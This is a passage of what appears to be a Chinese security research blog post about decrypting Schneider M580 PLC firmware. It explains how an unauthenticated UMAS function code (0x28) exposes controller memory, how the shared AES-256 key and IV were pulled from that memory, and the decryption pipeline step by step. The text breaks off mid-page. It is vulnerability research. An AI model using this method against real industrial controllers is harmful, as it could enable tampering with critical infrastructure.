0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7938461538461539" data-type="png" data-w="650" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030555" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=521bff0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2OdkibJjD8u5Qia5t36TprOFKibUXGljFE1fiaAALSw3drp8ddXLrUbRsgiaoiblSYOBYzROpyIf7AbRBiaC0uicKuVXybBJyNbAQXCtdY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">随着 OT 与 IT 网络融合加速，PLC 已成为攻击者重点目标。该设备固件中不仅包含操作系统内核与协议栈实现，还可能隐藏默认凭证、未公开接口或后门逻辑。因此，对固件进行深度解密与逆向分析，是评估设备真实安全水位的前提。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然而，施耐德自 V3.x 起对固件实施 AES-256 加密保护，V4.x 更引入数字签名机制，形成“加密+认证”双重防护。这是否意味着固件安全无懈可击？本文将从实战攻防视角出发，系统性还原从协议层突破 → 内存读取 → 密钥提取 → 算法逆向 → 跨版本解密的全链路攻击路径，揭示其固件保护机制中的设计缺陷。。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><strong style="align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2、攻击面识别：从协议私有功能码切入</span></strong></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">施耐德M340、M580等系列工业控制器采用其自研的私有协议，内部统称为UMAS协议，该协议是基于Modbus协议进行的魔改，包含有很多私有设计的功能码字段，如下所示，其中有pu_ReadMemoryBlock、pu_WriteMemoryBlock、pu_ReadBOL、pu_WriteVarList操作等等。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7406340057636888" data-type="png" data-w="1041" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030554" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=59bad59e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2OribNzv4xMdjian4Q28Jb3lUODiaPeH3tPVrDW6svBaEia5Iob5lTuGDBZqUpPZHNKrJkI0EM7kibhFJspF2XK7dazBkwcdWR9dibLU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关于协议相关的研究笔者在各大会议上均有分享，不再赘述。我们本次聚焦于固件分析，通过对私有协议分析，发现V3.X版本固件中存在物理内存读取功能码且没有任何身份验证，因此可以利用0x28功能码读取多有的控制器内存数据，经过分析内存数据中包含固件代码，解密固件的AES密钥，工程数据，密码哈希等等关键数据。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img alt="C:Userschenjie4AppDataRoamingTencentUsers2771740161TIMWinTempRichOle9VHS%}@TUS@~8H5O}0N{4)V.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030553" data-ratio="0.3720316622691293" data-type="png" data-w="379" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=389fcc51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2POic9834iao4wa3fKIvIPVQ2ONh2tN4WAqIjKHTHLnZ28OQtFhAMGm2pDADXmc0vRsS8f1rdG8FVyrwL4qLbGFOJ8gmWoQFMCDE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Dump出内存后构建了完整的内存布局图如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030552" data-ratio="0.46184738955823296" data-type="png" data-w="498" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8f3caa08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2MhTUt0phhSVvRzWgzN7CKYJ5SXD2OBz1kvicozdzm7lpxnqPlsjgDCEAPvPiaXvpnZdQz3ImJhWPerW1QRgiaiaVZz6QVibdYKbTUE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据特征进行分析发现了AES相关密钥及IV值，如下所示。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030556" data-ratio="0.593607305936073" data-type="png" data-w="438" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=30782d7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PbiaazhEr4u1IWfC2JTmSuRH1m8KHD5AhDF9KfFJ3v9cs6CITOAuq01YktcUbZ118icunrHoic1oqmgk9VHtg4siaZicESVohvSTmY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">安全缺陷分析：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">明文存储：密钥未经混淆或加密，直接暴露；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">静态共享：所有同型号设备使用相同密钥，单点突破影响全系列；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">无访问控制：0x28关键私有功能码未实施认证，任意网络可达设备均可读取。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">至此，V3.x 固件解密的“钥匙”已被掌握。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><strong style="align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">3、V3.x 固件解密：算法逆向与流程还原</span></strong></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">M580 V3.x 固件是以.ldx为结尾的压缩包文件，利用工具解压后可以得到如下所示的文件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030561" data-ratio="0.3663522012578616" data-type="png" data-w="636" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e6e830c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2MeGuITiboAqiafD7ViaeWA3E6Qy8qcpV18ibr7LsvSic4Lia7tYJ7cExgrVeRxkXjleTIELbZVVphx1Y1QFBlnPerBclrA89yuSIibib8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">核心固件文件以 .img 为扩展名，其结构如下</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030560" data-ratio="0.8269896193771626" data-type="png" data-w="578" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3fa00fa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2ODstX5kR8D8oyfAl8xIMicCv79syu8OSxOJhCImgeLSOG4QF3Frx3A7xEgq0nZ8NEQ2FZ2XGupibia3pbmlTphKV2mj5jZSiaxlso%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其中固件头标识为Magic: 27 05 19 56, Version: &#34;vxWorks V03.20...&#34;</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过逆向内存中代码段，我们识别出以下特征：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">AES S-Box 查找表：标准 256 字节 S-Box 完整存在；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">密钥长度 32 字节：对应 AES-256；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">CBC 模式：解密前存在 IV 异或操作；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">LZMA 头部：解密后数据以 5D 00 00 80 00... 开头，确认压缩算法为 LZMA。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">完整的解密流程如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.4644913627639156" data-type="png" data-w="521" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030558" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=62a9a960&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NxalxVy7TwKVP8vGibGQSP1xxfiaGfKIicXBd9gSmQc0pwLYIwiaDahD3nOIcGY933fkTuAmGv0ibfuldxMysmBuml0AODWLAJuXwI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">跳过文件头：忽略前 0x40 字节；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">AES-256-CBC 解密：使用提取的 Key 和 IV；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">去除 PKCS7 填充：检测末尾 N 字节是否均为 0xN，若是则移除；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">LZMA 解压：使用 lzma.decompress(..., format=lzma.FORMAT_ALONE)；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">切除头部 512 字节：获得最终固件文件镜像。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">经过实验发现在V3.X的固件版本在LZMA 数据格式还是有细微差异，如下图所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.38875305623471884" data-type="png" data-w="409" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030559" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=d970c163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PVRy1z7QTSmGKg9Y9iblvxnS1KceicmJDauM6dD5NwMsaNHkO9S4VYMicUSCn5trSftTNdk7HrOZIgDEUvmUCrAtwjL2BUeCLLto%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">但所有版本的解密密钥及IV全部一致，经验证，该流程可成功解密 V3.10、V3.20、V3.99等多个版本固件。使用脚本编写解密SV3.99过渡固件版本的过程如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5128755364806867" data-type="png" data-w="466" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030557" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=8e9faeb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PwttPbGapwVibhOSJtJlPJ91Cfppkqezsvk7snXmYpBonjmKC7GBtic6oD628ibqUqAa4JIuiaT4icIRvXpIsC0fa4BCOiaGnTEZPHc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解密后的文件二进制如下所示</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030566" data-ratio="0.8885017421602788" data-type="png" data-w="574" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=22a47180&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2MRdDXeHicAr3RQyyYib7tfyeicNwE6Il1glJ7wpAHIhaGRjZhft1bKPt8KUMIGUobibkiaL52h3KcFFQUs31LEjraOvpBueUZMmiaibI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: 